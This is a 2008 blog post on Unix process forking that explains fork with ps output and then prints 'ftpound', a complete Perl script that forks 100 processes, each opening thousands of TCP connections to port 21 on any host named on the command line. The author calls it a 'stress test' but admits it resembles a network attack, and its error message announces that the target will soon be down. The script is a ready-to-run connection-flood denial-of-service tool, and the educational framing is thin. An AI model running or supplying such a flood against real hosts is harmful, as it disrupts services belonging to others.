Friday, January 11, 2008

Forked Socket Scripting With Perl For Linux and Unix

For today's post, I thought I'd put something out that deals with a subject we've touched on in a previous post, and combine it with a new concept to write a Perl script for Linux or Unix that should be able to run under any shell. When you read the code, you may notice that it closely resembles (if not entirely resembles ;) a network based attack. For our purposes, we'll refer to it as a "stress test" and remind ourselves that it's not a good idea to randomly slam other folks' machines. It's almost instant bad Karma, since you end up depleting all your shell resources running it.

The reason that the sort of scripting we're doing here has the potential to bring down the machine its running on (and, odds are, it won't be able to do enough to crash any other server in the process), is because we're not just doing a simple sequenced packet stress test. In our example today, we're making use of the fork function. This is a built-in function that gets executed behind the scenes on every Unix and/or Linux shell. For instance, if you type the following you'd get similar output:

host # ps -fu username
UID PID PPID C STIME TTY TIME CMD
username 28090 28088 0 17:25:51 pts/17 0:00 -ksh


Then, if you just type something as simple as:

host # bash
host # ps -fu username
UID PID PPID C STIME TTY TIME CMD
username 28090 28088 0 17:25:51 pts/17 0:00 -ksh
username 28160 28090 0 17:26:14 pts/17 0:00 bash


you'll notice that your shell process ID - 28090 - (from the original line of output) has become the parent process ID of the bash shell you've just invoked - 28160. Your Linux or Unix shell did this by first forking a process off from your main process ID, and then running exec. If you run exec, it replaces the original process with the new process, but that's for another day. I'm already digressing ;)

Check out this forking Perl code (no joke intended ;) and you can see how it's implemented. The basic truths hold for most shells and are put to use (again, behind the scenes) whenever you run any scripts or commands that do anything.

Please remember that this Perl code is just a little Unix and Linux scripting primer and is not meant to be used to the detriment of others. Be kind; relax and rewind ;)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/local/bin/perl

#
# ftpound - change to whatever port you
# want to stress test.
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

use Socket;
require 5.002;

$port = 21;
$multi = 100;
$forks = 100;
chomp($remote=$ARGV[0]);
if ( $#ARGV != 0 ) {
print "Usage: ftpound [host name or IP]\n";
exit;
}
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }
&mail_out unless $port;
$iaddr = inet_aton($remote);
$paddr = sockaddr_in($port, $iaddr);
$multiforks = $multi * $forks;
while ( $forks != 0 ) {
unless (fork) {
&fork_off;
sleep 1;
}
$forks--;
}
exit;

sub fork_off {

$a = 0;
$hammertime = $multiforks;
while ( $hammertime != 0 ) {
$binger = "HEAVE${a}HO";
socket($binger, AF_INET, SOCK_STREAM, IPPROTO_TCP) or &clogged_up;
connect($binger, $paddr) or &clogged_up;
send($binger, "help", 6) or &clogged_up;
$hammertime--;
$a++;
if ( $a == 60 ) {
$a = 0;
}
}
}

sub clogged_up {

print "If it ain't down yet, it will be in a second...\n";
$hammertime--;
$a++;
next;
}


, Mike